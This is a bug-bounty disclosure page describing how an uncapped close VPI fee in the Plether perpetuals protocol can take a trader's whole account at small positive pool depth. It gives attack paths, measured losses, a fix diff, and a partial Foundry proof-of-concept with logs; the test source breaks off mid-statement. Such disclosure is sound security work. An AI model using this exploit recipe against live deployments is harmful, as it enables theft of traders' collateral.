Skip to content
Business logic Audit finding Advanced

Close VPI is exempt only at exactly zero depth, so at small positive depth a minority-side full close can take the trader's whole account

A close that increases absolute skew is charged a fresh VPI fee that is only waived when pool depth is exactly zero, so at small positive depth the uncapped charge can exceed the trader's balance and move the whole account into the pool's accounted assets. The report measures two routes to small positive depth and shows a full close losing the entire account, with the loss ending up as Senior tranche principal.

xylz Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#98728 [SC-High] Close VPI is exempt only at exactly zero depth, so at small positive depth a minority-side full close can take the trader's whole account

Submitted on Nov 9th 2026 at 21:31:11 UTC by @xylz for Audit Competition | Plether

Description

Summary

A close that increases absolute skew pays a fresh VPI charge, k * (S2^2 - S1^2) / (2 * D). CloseAccountingLib exempts it only when depth D is exactly 0 ("With no economic depth, keep protective exits live", CloseAccountingLib.sol:105-111). Above zero the charge has no cap, and a full close collects it from free settlement, released pledge and committed margin. At small positive depth it can exceed what the trader holds, and the close then moves the trader's whole account into the pool's accounted assets.

Two routes reach small positive depth with positions open, and the PoC measures both:

  • A, a one-way move to the cap. Winners are paid in cash, so depth falls with no trader claim. Reverting PR #118's close-depth line leaves this route unchanged.

  • B, recovery from a terminal deficit. PR #118 in Plether-Fi/plether-core (commit 6d6622f2) prices close VPI at net depth, totalAssets - traderClaims. While the pool recovers from claims at or above cash, net depth passes through small positive values and gross assets stay large.

  • Impact: Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

  • Severity: Critical

  • Attacker needs: no role. Route A needs a book near the pool's limits, a move to the cap and a winner closing first. Route B needs the owner's runbook recapitalization or an ordinary losing close.

  • Measured with the release risk parameters, a 20,000,000 USDG pool, and no storage writes:

    • Route A: the big SHORT winner is paid 19,704,210.83 USDG in cash and depth falls to 311,391.65 USDG. A 500-lot SHORT margined at 5 USDG per lot then loses its whole 2,783.08 USDG account and its gain; closing first, it gains 50,154.66 USDG.
    • Route B: the victim's full close takes its whole 809,862.30 USDG account, after the owner's recapitalization (net depth 10,000 USDG) or after an ordinary losing close (12,859.65 USDG). At net depth exactly 0 the same close keeps the account.
    • Route B's loss on the losing-close path ends as Senior tranche principal: 1,309,399.80 USDG more than when the victim closes first, exactly its account and forfeited claim (test 9).
    • Skipping the fresh charge in degraded mode removes both losses. Reverting #118's close-depth line removes only route B's.
  • Reproduce: forge test --match-path test/perps/NearZeroDepthCloseVpi.t.sol -vv (from packages/perps, audit repository commit a82d4fefb02768e5b3bddcc97dee371eee24fea8)

Affected assets

  • packages/perps/src/libraries/CloseAccountingLib.sol: the zero-depth exemption, buildCloseState.
  • packages/perps/src/libraries/CfdEnginePlanLib.sol: close VPI depth, _buildCloseState.
  • packages/perps/src/CfdEngine.sol: close settlement.
  • The trader's USDG is held by MarginClearinghouse.sol.

Preconditions

  • Route A. A SHORT-heavy book near the pool's skew and admission limits, and a one-way move from 1.00 to the cap, 2.00 (CAP_PRICE). The PoC steps the mark over eight hours; the loss depends on the state at the cap.
    • The PoC's book is SHORT 198,500 lots against LONG 119,500. At the cap the SHORT side's maximum profit, 19,850,000 USDG, nearly equals the 20,000,000 USDG pool (from the inputs).
    • Every account except test 8's victim (1% at entry) keeps at least the 3% FAD margin on the way; all stay above maintenance margin, so no liquidation is due.
    • The big winner's cash payout latches degraded mode.
  • Route B. A terminal deficit: trader claims at or above pool cash, the state SECURITY.md's "Explicit terminal-deficit cascade" runbook handles (SECURITY.md:1499-1511). The PoC reaches it with 1.00 -> 0.01 -> 2.00. Then a recovery step lifts net depth to a small positive value:
    • the owner's runbook step "Recapitalize or clear positions" (SECURITY.md:1509). The program's terms put such a step in scope: "a legitimate, documented action by a trusted role that triggers a bug harming users or the protocol". Or:
    • an ordinary losing close ("Let closes and liquidations continue", SECURITY.md:1505).
  • A victim. A trader fully closes a minority-side position, a close that increases absolute skew. The two ceilings that bound the charge, maxGrossAccountDebitAssets and maxActionChargeAssets, are unlimited, as the repository's test order helper sets them (test/utils/LegacyOrderRouterHarness.sol:62-76). Live clients do the same:
    • The v2.0.0 deployment (the same src, per the program page): I decoded all 239 orders committed up to block 327,644,078. All 82 closes, from 33 accounts, leave both ceilings at type(uint256).max: 76 ordinary close orders and 6 stop-loss or take-profit closes. All 14 protections created there store the same limits.
    • The earlier v1.2.3 deployment, which the program page points to: 434 of the 438 accounts that sent close orders left both ceilings unlimited every time. Three, which sent 395 of the 1,721 close orders, capped the charge near 2% of notional, which makes such a close fail instead (tests 4 and 5); one set 1,000,000,000 USDG.

Root cause

  1. The charge is k * (S2^2 - S1^2) / (2 * D). Here k is the VPI factor (0.01), S1 and S2 are absolute skew before and after the close, and D is the depth (CfdMath.sol:134-139). Nothing caps it. The lifetime clamp limits only rebates.
  2. The exemption covers exactly 0 (CloseAccountingLib.sol:105-111):
Solidity
        // With no economic depth, keep protective exits live without creating a fresh charge or rebate.
        // The lifetime clamp below still recovers any previously received negative VPI.
        if (inputs.poolDepthAssets != 0) {
            state.vpiDeltaAssets = CfdMath.calculateVPI(
                inputs.preSkewAssets, inputs.postSkewAssets, inputs.poolDepthAssets, inputs.vpiFactor
            );
        }
  1. D is net depth: totalAssets - totalTraderClaimBalanceAssets, floored at 0 (CfdEnginePlanLib.sol:1339-1341; PositionRiskAccountingLib.sol:21-26; ACCOUNTING_SPEC.md:66-67). Before #118 it was gross totalAssets. On route A no claim exists, so both are the same. On route B gross depth stays large: 18,490,139 USDG in test 2, against 10,000 USDG net.
  2. A full close settles VPI backing first, then collects action charges from spendable action reserve, free settlement (including released liquidation reserve), safely released pledge and committed-order margin, and waives only the remainder (ACCOUNTING_SPEC.md:1042-1045). The price gain is withheld first.
  3. The charge is about 18,500,000 USDG at 10,000 USDG of net depth in test 2, 18.5 times the close's 1,000,000 USDG notional. In test 3 it is about 2,107,200 USDG, 2.1 times (from the formula).

Attack path

Route A:

  1. The mark rises to the cap. The big SHORT winner closes first and is paid in cash, so depth falls with no claim.
  2. The next minority-side full close can be charged more than its gain and collateral (test 7); its whole account then moves into the pool's accounted assets.

Route B:

  1. A terminal deficit exists: claims at or above cash, net depth 0. Closes stay live (runbook step 1).
  2. A recovery step lifts net depth to a small positive value: the owner's recapitalization, or a losing close.
  3. The next minority-side full close can be charged far more than its account holds (tests 2 and 3); its account moves into the pool's accounted assets, and its gain is not recorded as a claim.

Route A and route B's losing-close path need no role. Anyone can execute a queued close (the terms: "Keepers are not trusted").

Impact

Route A, at the cap after the one-way move (500-lot SHORT victim):

Test Depth before the victim's close Victim
6 Victim closes before the big winner 20,015,602.48 Account 2,783.08 -> 52,937.74 (gain paid)
7 Same victim, after the big winner 311,391.65 Account 2,783.08 -> 0; pool accounted assets +2,783.08
8 Victim holding 310,000 USDG, after the big winner 311,391.73 Account 309,783.08 -> 283,149.83

Route B, after the path to a terminal deficit (claims 18,480,139 USDG, cash 10,595,042 USDG):

Test Net depth before the close Victim (5,000-lot SHORT, 500,000 USDG unrealized gain)
1 Control 0 Account 809,862.30 kept (-1 atom); gain recorded as a 499,537.50 USDG claim
2 Owner recapitalizes deficit + 10,000 USDG 10,000 Account 809,862.30 -> 0; pool accounted assets +809,862.30
3 Majority LONG closes 78,951 lots at a loss 12,859.65 Account 809,862.30 -> 0; pool accounted assets +809,862.30
4 State 3, maxActionChargeAssets 10,000 USDG 12,859.65 Close fails (ConstraintViolation); account kept (-1 atom); still open
5 State 3, maxGrossAccountDebitAssets 10,000 USDG 12,859.65 Close fails (ConstraintViolation); account kept (-1 atom); still open

Who receives route B's loss (test 9): from one snapshot the same positions close with the victim first (control) or after the losing close (route B). Then the LONG closes the rest and the owner clears degraded mode (CfdEngine.sol:658-667). Tranche principals for the next reconcile (getPendingTrancheState):

Order Senior principal Junior principal Victim's account plus claim
Control, victim first 1,118,802.83 0 1,309,399.80
Route B, victim at small positive depth 2,428,202.63 0 0

The Senior tranche gains exactly the victim's loss; the big winner's claim is the same in both orders.

Severity

Critical, "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield":

  • One ordinary close moves a trader's own collateral into the pool's accounted assets, logged and asserted: the whole account on route A (test 7) and on route B (tests 2 and 3). Route B's victim also forfeits the 499,537.50 USDG claim its gain becomes at net depth 0 (test 1).
  • The funds go to LPs: on route B the Senior tranche's principal ends higher by exactly the victim's 1,309,399.80 USDG loss (test 9, losing-close path), shared pro rata by Senior LPs.
  • Route B happens in the recovery procedure the protocol documents.
  • Under the program's griefing standard ("spending USD 1 to cause USD 100 or more in damage is not" Griefing), route A and test 2 have no attacker cost. Test 3's trigger spends 9,172.66 USDG beyond the 7,895,100 USDG loss already marked against its position, and the victim loses 1,309,399.80 USDG.

Limits:

  • Ceilings. A gross-debit or action-charge ceiling below the charge makes the close fail instead (tests 4 and 5): the account is kept, but the exit stays blocked while depth stays small. At net depth 0 the same unlimited close keeps the account (test 1). Closes cannot set a settlement floor (ACCOUNTING_SPEC.md:1018-1019; router/OrderLiquidationBatchLogic.sol:307-311), and the target price does not bound the charge (OrderValidationLib.sol:60-74).
  • The moves. Route A needs a one-way move from 1.00 to the cap; route B, 1.00 -> 0.01 -> 2.00. The moves only set up the state; each loss is a measured transfer of collateral. At the same prices the account is kept at net depth 0 (test 1) and with the degraded-mode change below (tests 2, 3 and 7 to 9). The program page says: "Feasibility limitations do not change the impact or severity of a finding, only the amount paid for it."

Known items:

  • The October 15 scan finding "Deferred trader claims inflate open skew capacity and reduce VPI" (audits/scan-plether-fi-plether-core-d4541b49.md:206) concerns opens priced on overstated gross depth. PR #118's net depth addresses it and adds route B, a new loss the terms keep valid when a fix "introduces a new bug". Route A involves no claim and survives reverting #118.
  • The scan's info items on temporary pool liquidity (audits/scan-plether-fi-plether-core-d4541b49.md:1693 and :1742) concern a trader moving depth around its own close; here others set the depth.
  • SECURITY.md's Known Limitations read: "VPI depends on live canonical assets net of outstanding trader claims" and "Protective closes create no fresh VPI charge or rebate at zero depth" (SECURITY.md:1438-1440). The whitepaper: "At nonzero depth, a close evaluates a fresh curve delta" (WHITEPAPER.md:865-867). Neither states a bound or a consequence above zero depth.
  • The design waives a full close's action remainder once eligible cash is spent (ACCOUNTING_SPEC.md:1035-1036; SECURITY.md:1502-1503), and the whitepaper's worked example is a 50 bps frozen spread (WHITEPAPER.md:1306-1318). Here the fresh charge is about 0.77 times the close's notional in test 7 and 2.1 to 18.5 times on route B (from the formula), and collecting it takes the whole account.

None covers a charge larger than the trader's account at small positive depth.

Recommended fix

Skip the fresh close charge while the engine is in degraded mode (entered when E < L), where the runbook keeps closes live. Both routes latch degraded mode before the victim's close. Run against the PoC, this change keeps the victim's account and gain in tests 2, 3 and 7 to 9:

Diff
-                poolDepthAssets: PositionRiskAccountingLib.computeNetPoolDepthAssets(
-                    snap.poolAssets, snap.totalTraderClaimBalanceAssets
-                ),
+                poolDepthAssets: snap.degradedMode
+                    ? 0
+                    : PositionRiskAccountingLib.computeNetPoolDepthAssets(
+                        snap.poolAssets, snap.totalTraderClaimBalanceAssets
+                    ),

Pricing close VPI at gross pool assets again, the comparison above, removes route B only.

References

Link to Proof of Concept

https://gist.github.com/Xylzlol/d26f61ae634e8930dc7eaedeed52a4cb

Proof of Concept

Place NearZeroDepthCloseVpi.t.sol (below) in packages/perps/test/perps/ and run from packages/perps:

forge test --match-path test/perps/NearZeroDepthCloseVpi.t.sol -vv

All nine tests pass with the repository's solc build. The test extends the repository's BasePerpTest without modifying it, and its overrides set:

  • release risk parameters (DEPLOYMENT.md:131-142);
  • Router minimum open notional and adverse-confidence multiplier (DEPLOYMENT.md:147-148), and the HousePool Senior caps (DEPLOYMENT.md:154-155), each through its admin delay;
  • 20,000,000 USDG of LP capital, as the two pool seeds (the release seeds are 1 USDG each).

Orders, marks and the recapitalization go through the Router's commit and keeper execution, updateMarkPrice and CfdEngine.recapitalizePool. Only Pyth and USDG are mocked.

The one-line reversion used for the comparison (CfdEnginePlanLib.sol:1339-1341). With it, tests 2 to 5 and 9 fail their assertions, because the victim keeps its account and the ceiling tests' closes execute. Tests 6 to 8 still pass:

Diff
-                poolDepthAssets: PositionRiskAccountingLib.computeNetPoolDepthAssets(
-                    snap.poolAssets, snap.totalTraderClaimBalanceAssets
-                ),
+                poolDepthAssets: snap.poolAssets,

Expected output (solc build):

Ran 9 tests for test/perps/NearZeroDepthCloseVpi.t.sol:NearZeroDepthCloseVpiTest
[PASS] test_1_control_zeroDepth() (gas: 45461337)
Logs:
  pool totalAssets at setup 20000000000000
  pool totalAssets / trader claims 10595042114996 18480139040418
  victim lots / unrealized gain at 2.00 (USDG atoms) 5000 500000000000
  [1] control: full close at net depth 0
    net depth before the close 0
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 809862299799 809862299798
    victim trader-claim balance before / after 0 499537500201
    pool accountedAssets change
  1

[PASS] test_2_ownerRecapitalization() (gas: 45659266)
Logs:
  pool totalAssets at setup 20000000000000
  pool totalAssets / trader claims 10595042114996 18480139040418
  victim lots / unrealized gain at 2.00 (USDG atoms) 5000 500000000000
  recapitalization / gross pool assets after it 7895096925422 18490139040418
  [2] after recapitalizePool(deficit + 10,000 USDG)
    net depth before the close 10000000000
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 809862299799 0
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  809862299799

[PASS] test_3_losingCloseLiftsDepth() (gas: 48245441)
Logs:
  pool totalAssets at setup 20000000000000
  pool totalAssets / trader claims 10595042114996 18480139040418
  victim lots / unrealized gain at 2.00 (USDG atoms) 5000 500000000000
  majority LONG lots closed at a loss / lots left 78951 16049
  majority LONG settlement change on that close
  -7904272658111
  [3] after a losing partial close of the majority LONG
    net depth before the close 12859652689
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 809862299799 0
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  809862299799

[PASS] test_4_control_actionChargeCeiling() (gas: 47927774)
Logs:
  pool totalAssets at setup 20000000000000
  pool totalAssets / trader claims 10595042114996 18480139040418
  victim lots / unrealized gain at 2.00 (USDG atoms) 5000 500000000000
  majority LONG lots closed at a loss / lots left 78951 16049
  majority LONG settlement change on that close
  -7904272658111
  [4] same state as 3, maxActionChargeAssets 10,000 USDG
    net depth before the close 12859652689
    status (2 Executed, 3 Failed) / terminal reason 3 8
    victim settlement before / after 809862299799 809862299798
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  1

[PASS] test_5_control_grossDebitCeiling() (gas: 47927913)
Logs:
  pool totalAssets at setup 20000000000000
  pool totalAssets / trader claims 10595042114996 18480139040418
  victim lots / unrealized gain at 2.00 (USDG atoms) 5000 500000000000
  majority LONG lots closed at a loss / lots left 78951 16049
  majority LONG settlement change on that close
  -7904272658111
  [5] same state as 3, maxGrossAccountDebitAssets 10,000 USDG
    net depth before the close 12859652689
    status (2 Executed, 3 Failed) / terminal reason 3 8
    victim settlement before / after 809862299799 809862299798
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  1

[PASS] test_6_capControl_victimFirst() (gas: 32145417)
Logs:
  pool totalAssets at setup 20000000000000
  at the cap: pool totalAssets / trader claims 20015602479056 0
  [6] at the cap, victim closes before the big winner
    net depth before the close 20015602479056
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 2783076534 52937738695
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  -50154662161

[PASS] test_7_cap_victimAfterWinner() (gas: 34890316)
Logs:
  pool totalAssets at setup 20000000000000
  at the cap: pool totalAssets / trader claims 20015602479056 0
  big winner's settlement change (cash) 19704210830111
  degraded mode (1 latched) 1
  [7] at the cap, victim closes after the big winner
    net depth before the close 311391648945
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 2783076534 0
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  2783076534

[PASS] test_8_cap_wellFundedVictimAfterWinner() (gas: 34887730)
Logs:
  pool totalAssets at setup 20000000000000
  at the cap: pool totalAssets / trader claims 20015602479056 0
  big winner's settlement change (cash) 19704210744295
  degraded mode (1 latched) 1
  [8] at the cap, a victim holding 310,000 USDG closes after the big winner
    net depth before the close 311391734761
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 309783076534 283149828690
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  26633247844

[PASS] test_9_seniorTrancheReceivesTheAccount() (gas: 58498225)
Logs:
  pool totalAssets at setup 20000000000000
  pool totalAssets / trader claims 10595042114996 18480139040418
  victim lots / unrealized gain at 2.00 (USDG atoms) 5000 500000000000
  [9a] control: victim closes at net depth 0
    net depth before the close 0
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 809862299799 809862299798
    victim trader-claim balance before / after 0 499537500201
    pool accountedAssets change
  1
  majority LONG lots closed at a loss / lots left 83947 11053
  majority LONG settlement change on that close
  -8404453101676
  [9a] control, after the LONG side and reconcile
    simulated Senior / Junior principal after reconcile 1118802831925 0
    victim settlement plus trader claim 1309399799999
    big SHORT winner's claim 18480139040418
  majority LONG lots closed at a loss / lots left 78951 16049
  majority LONG settlement change on that close
  -7904272658111
  [9b] route B: victim closes at small positive net depth
    net depth before the close 12859652689
    status (2 Executed, 3 Failed) / terminal reason 2 1
    victim settlement before / after 809862299799 0
    victim trader-claim balance before / after 0 0
    pool accountedAssets change
  809862299799
  [9b] route B, after the LONG side and reconcile
    simulated Senior / Junior principal after reconcile 2428202631924 0
    victim settlement plus trader claim 0
    big SHORT winner's claim 18480139040418
  Senior principal gain / victim loss 1309399799999 1309399799999

Suite result: ok. 9 passed; 0 failed; 0 skipped; finished in 78.24ms (414.16ms CPU time)

NearZeroDepthCloseVpi.t.sol:

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.35;

import {BasePerpTest} from "./BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {console2} from "forge-std/console2.sol";

/// @notice Close VPI at small positive depth. CloseAccountingLib exempts a close only when depth == 0
///         (CloseAccountingLib.sol:105-111); above zero the charge k*(S2^2 - S1^2)/(2D) has no cap, and the full-close
///         order collects it from free settlement, released pledge and committed margin. Two routes reach small positive
///         depth with positions open:
///         A (tests 6-8): a one-way move to the cap; winners are paid in cash, so depth falls with no trader claim.
///         B (tests 1-5): recovery from a terminal deficit; PR #118 (commit 6d6622f2) prices close VPI at net depth,
///            `totalAssets - traderClaims`, which sits just above zero while gross assets stay large.
///         Test 9 closes route B's positions in both orders from one snapshot: the Senior tranche receives the victim's loss.
/// @dev Release risk parameters (DEPLOYMENT.md:131-142), Router values (minimum open notional 1,000 USDG,
///      adverse-confidence multiplier 2,500 bps; DEPLOYMENT.md:147-148) and HousePool Senior caps (DEPLOYMENT.md:154-155),
///      each through its admin delay. Engine defaults already match the release execution fee (4 bps) and settlement
///      buffer (25 bps). Pool capital: two 10,000,000 USDG seeds. Every trader is margined to survive its price path, so
///      no keeper liquidation is skipped. Orders are committed by the trader and executed by a keeper with a mock Pyth
///      update; every execution ceiling is type(uint256).max unless a test sets one. Only Pyth and USDG are mocked.
contract NearZeroDepthCloseVpiTest is BasePerpTest {
    address internal constant KEEPER_X = address(0xE0E0);
    address internal constant SEED_J = address(0xB001);
    address internal constant SEED_S = address(0xB002);
    address internal constant LA = address(0xA0A1); // B: LONG, paid at 0.01. A: the LONG side, still open at the cap
    address internal constant LM = address(0xA0A2); // B: LONG, still open at 2.00 (majority)
    address internal constant SB = address(0xB0B1); // B: SHORT, its payout at 2.00 becomes a claim. A: the big winner
    address internal constant VIC = address(0xC0C1); // SHORT victim, minority at the end
    uint256 internal constant MAX = type(uint256).max;
    uint256 internal nonce;

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorSeedDeposit() internal pure override returns (uint256) { return 10_000_000e6; }
    function _initialSeniorSeedDeposit() internal pure override returns (uint256) { return 10_000_000e6; }
    function _initialJuniorDeposit() internal pure override returns (uint256) { return 0; }
    function _initialSeniorDeposit() internal pure override returns (uint256) { return 0; }
    function _juniorSeedReceiver() internal pure override returns (address) { return SEED_J; }
    function _seniorSeedReceiver() internal pure override returns (address) { return SEED_S; }

    function setUp() public override {
        super.setUp();
        IHousePool.PoolConfig memory pc = _currentPoolConfig();
        pc.maxSeniorExposureAssets = 40_000_000e6;
        pc.maxSeniorShareBps = 8_000;
        pool.proposePoolConfig(pc);
        IOrderRouterAdminHost.RouterConfig memory rc = _routerConfig();
        rc.minOpenNotionalAssets = 1000e6;
        rc.adverseConfidenceMultiplierBps = 2500;
        routerAdmin.proposeRouterConfig(rc);
        uint256 ready = pool.poolConfigActivationTime();
        if (routerAdmin.routerConfigActivationTime() > ready) ready = routerAdmin.routerConfigActivationTime();
        vm.warp(ready);
        pool.finalizePoolConfig();
        routerAdmin.finalizeRouterConfig();
        vm.warp(SETUP_TIMESTAMP + 7 days); // one week after the base setup: same weekday and hour, a live market
        vm.roll(vm.getBlockNumber() + 1);
        router.updateMarkPrice(_mockPythUpdateData(1e8));
        vm.deal(KEEPER_X, 100 ether);
        console2.log("pool totalAssets at setup", pool.totalAssets());
    }

    // ---------- helpers ----------

    function _fund(address who, uint256 amount) internal {
        settlementToken.mint(who, amount);
        vm.startPrank(who);
        settlementToken.approve(address(clearinghouse), MAX);
        clearinghouse.deposit(who, amount);
        vm.stopPrank();
    }

    function _data(uint256 price) internal returns (bytes[] memory data) {
        vm.roll(vm.getBlockNumber() + 1);
        vm.warp(vm.getBlockTimestamp() + 1);
        bytes32[] memory ids = new bytes32[](2);
        ids[0] = bytes32(uint256(1));
        ids[1] = bytes32(uint256(2));
        uint256 nowTime = vm.getBlockTimestamp();
        baseMockPyth.setAllUniquePrices(ids, int64(int256(price)), 0, -8, nowTime, nowTime - 2);
        data = new bytes[](1);
        data[0] = abi.encode(price);
    }

    function _bounds(uint256 maxGrossDebit, uint256 maxActionCharge)
        internal
        view
        returns (OrderV3Types.ExecutionBounds memory)
    {
        return OrderV3Types.ExecutionBounds(
            uint64(vm.getBlockTimestamp() + 60), 60, 7,
            router.lifecycleBook().currentExecutionConfigHash(),
            MAX, MAX, maxGrossDebit,
            maxActionCharge, MAX, MAX,
            0, 0, type(uint32).max
        );
    }

    function _exec(address who, OrderV3Types.OrderRequest memory r) internal returns (OrderV3Types.ExecutionResult memory) {
        vm.prank(who);
        uint64 id = router.commitOrder(r);
        bytes[] memory data = _data(engine.lastMarkPrice());
        vm.prank(KEEPER_X);
        return router.executeOrder(id, data);
    }

    function _open(address who, CfdTypes.Side side, uint256 lots, uint256 marginPerLot) internal {
        OrderV3Types.OrderRequest memory r;
        r.clientOrderId = bytes32(++nonce);
        r.side =

The original report as published on Immunefi, by xylz. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the close VPI charge k*(S2^2 - S1^2)/(2*D) is uncapped and the exemption in CloseAccountingLib only applies when depth D is exactly zero, so any small positive depth produces an enormous charge.

Impact

A full close at small positive depth can take the trader's whole account, with the loss ending as Senior tranche principal, though a gross-debit or action-charge ceiling below the charge makes the close fail instead and keeps the account while blocking the exit.

What the attacker needed

No role needed for route A; book near pool skew and admission limits; one-way move from 1.00 to the 2.00 cap; route B: terminal deficit state

The fix

Skip the fresh close charge while the engine is in degraded mode, so pool depth is treated as zero for close VPI.

How it was found

  1. Reach a terminal deficit where trader claims are at or above pool cash, so net depth is zero and closes stay live.
  2. Lift net depth to a small positive value, either by the owner's recapitalization or by an ordinary losing close.
  3. Have a trader fully close a minority-side position, which increases absolute skew.
  4. The fresh VPI charge exceeds the account, so the whole account moves into the pool's accounted assets and the gain is not recorded as a claim.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A trader's account holds money used to back a bet on a price. When they close the bet, the system can charge a fee based on how lopsided the pool's bets are and how much spare money the pool has. The report shows that when the pool has only a tiny amount of spare money, this fee is not capped and can be bigger than everything the trader has, so closing wipes out the account and the money goes to the pool's liquidity providers.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by xylz

View all

9 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.